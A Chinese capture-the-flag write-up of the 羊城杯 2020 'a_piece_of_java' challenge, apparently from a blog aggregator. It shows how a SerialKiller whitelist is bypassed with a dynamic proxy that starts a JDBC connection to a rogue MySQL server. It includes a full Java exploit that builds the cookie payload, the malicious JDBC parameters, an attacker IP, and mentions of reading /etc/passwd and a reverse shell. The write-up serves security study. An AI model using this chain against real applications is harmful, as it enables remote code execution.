当前位置: 首页 > news >正文

羊城杯 2020 a_piece_of_java

考点:JDBC反序列化打CC链+动态代理类触发readobject
image.png
一眼看过去 好像只有一个mysql-connector-java 可以利用jdbc
可能的攻击路径就有1) Mysql服务器任意文件读取 2) JDBC反序列化打依赖链
出现了一个不常见的依赖库 serialkiller 做了反序列化的过滤器
可以尝试查看其源码
https://github.com/ikkisoft/SerialKiller/blob/master/pom.xml
image.png
会发现其隐形依赖了 commons-collections3.2也就是常见的CC 3.x
一种可能的路径就是 JDBC反序列化打CC依赖链 不排除Mysql的任意文件读取

 @GetMapping({"/hello"})public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {if (cookieData == null || cookieData.equals("")) {return "redirect:/index";}Info info = (Info) deserialize(cookieData);if (info != null) {model.addAttribute("info", info.getAllInfo());return "hello";}return "hello";}private Object deserialize(String base64data) {ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));try {ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");Object obj = ois.readObject();ois.close();return obj;} catch (Exception e) {e.printStackTrace();return null;}}

我们对/hello路由下的cookie可控 可以传入任意数据 但是 deserialize函数结合SerialKiller 做了白名单过滤
image.png
被反序列化的类只接受 本地的特定包

<regexp>gdufs\..*</regexp><regexp>java\.lang\..*</regexp>

仔细观察会发现
image.png
定义类 InfoInvocationHandler 实现了 InvocationHandler, Serializable
可以作为动态代理的处理类 而且可以被序列化
而我们的最终目的是 触发 DatabaseInfo 类中的 connect方法
image.png

同样的 被代理类实现了 序列化接口和Info接口
image.png
可以被动态代理 方法有 checkAllInfo() getAllInfo()
image.png
纵观源码不存在典型的readObject()可以被触发
但是存在 动态代理可以劫持 readObect()的这个动作
image.png

在具体的invoke()之前 就调用了类的 checkAllInfo()
如果被代理的类是 目标类DatabaseInfocheckAllInfo()方法
image.png
是可以实现 发起jdbc的连接的
对于 mysql 8.x版本

characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

通过触发ServerStatusDiffInterceptor拦截器,执行查询语句会调用拦截器的 preProcesspostProcess 方法 作为开头 最终实现ResultSetImplgetObject方法 实现反序列化操作
image.png

编写动态代理类 被代理对象是 DatabaseInfo

package gdufs.challenge.web;  
import gdufs.challenge.web.invocation.InfoInvocationHandler;  
import gdufs.challenge.web.model.DatabaseInfo;  
import gdufs.challenge.web.model.Info;  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.Base64;  public class exp {  public static void main(String[] args) throws IOException {  DatabaseInfo databaseInfo = new DatabaseInfo();  databaseInfo.setHost("23.94.38.86");  databaseInfo.setPort("3306");  databaseInfo.setUsername("J1rrY");  databaseInfo.setPassword("characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");  InvocationHandler infoInvocationHandler = (InvocationHandler) new InfoInvocationHandler(databaseInfo);  Info infoproxy = (Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);  ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  objectOutputStream.writeObject(infoproxy);  String poc=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));  System.out.println(poc);  }  
}

这里的Mysql fake server
我选择 https://github.com/rmb122/rogue_mysql_server
具体配置按 Readme来就可以了
可以简单尝试一下都读取 /etc/passwd 失败了
image.png
直接用 JDBC反序列化链打CC链
image.png
环境出网,反弹shell就可以了
image.png

相关文章:

  • QToolButton 和 QPushButton的区别和联系
  • java 富文本(含图片)导出为docx文件,以及docx文件的合并
  • 【免费Web系列】大家好 ,今天是Web课程的第二二天点赞收藏关注,持续更新作品 !
  • Suno AI如何解决中文多音字的问题? 耗费500积分,亲测有效 ,V4版本会不会直接支持呢?
  • Unity 材质系统优化(mesh相同,图片不同,但是可以将所有的图片合成一张图集)
  • 1V升3V升压LED驱动WT7013
  • 解析文字示例
  • Starknet架构之Starknet state、State commitment
  • 000003 - Hadoop集群配置
  • 快人一步!利用LLM实现数据处理自动化
  • Linux之管道符
  • 嵌入式操作系统_2.嵌入式操作系统的一般架构
  • Redis-数据结构-跳表详解
  • 中国银行信息科技运营中心、软件中心春招笔试测评面试体检全记录
  • KIVY AliasProperty 运用报错汇总
  • Angular2开发踩坑系列-生产环境编译
  • export和import的用法总结
  • JavaScript DOM 10 - 滚动
  • Just for fun——迅速写完快速排序
  • Linux各目录及每个目录的详细介绍
  • markdown编辑器简评
  • Python3爬取英雄联盟英雄皮肤大图
  • python大佬养成计划----difflib模块
  • python学习笔记-类对象的信息
  • select2 取值 遍历 设置默认值
  • vagrant 添加本地 box 安装 laravel homestead
  • Vue UI框架库开发介绍
  • 笨办法学C 练习34:动态数组
  • 测试开发系类之接口自动化测试
  • 关于Android中设置闹钟的相对比较完善的解决方案
  • 今年的LC3大会没了?
  • 想使用 MongoDB ,你应该了解这8个方面!
  • 追踪解析 FutureTask 源码
  • gunicorn工作原理
  • Java数据解析之JSON
  • Nginx实现动静分离
  • #AngularJS#$sce.trustAsResourceUrl
  • #php的pecl工具#
  • (7)svelte 教程: Props(属性)
  • (js)循环条件满足时终止循环
  • (LeetCode C++)盛最多水的容器
  • (Python第六天)文件处理
  • (博弈 sg入门)kiki's game -- hdu -- 2147
  • (二)什么是Vite——Vite 和 Webpack 区别(冷启动)
  • (含笔试题)深度解析数据在内存中的存储
  • (强烈推荐)移动端音视频从零到上手(下)
  • (三) prometheus + grafana + alertmanager 配置Redis监控
  • (三)centos7案例实战—vmware虚拟机硬盘挂载与卸载
  • (四)模仿学习-完成后台管理页面查询
  • (总结)(2)编译ORB_SLAM2遇到的错误
  • .net core 6 集成和使用 mongodb
  • .net mvc部分视图
  • .net的socket示例
  • .NET关于 跳过SSL中遇到的问题
  • .vimrc 配置项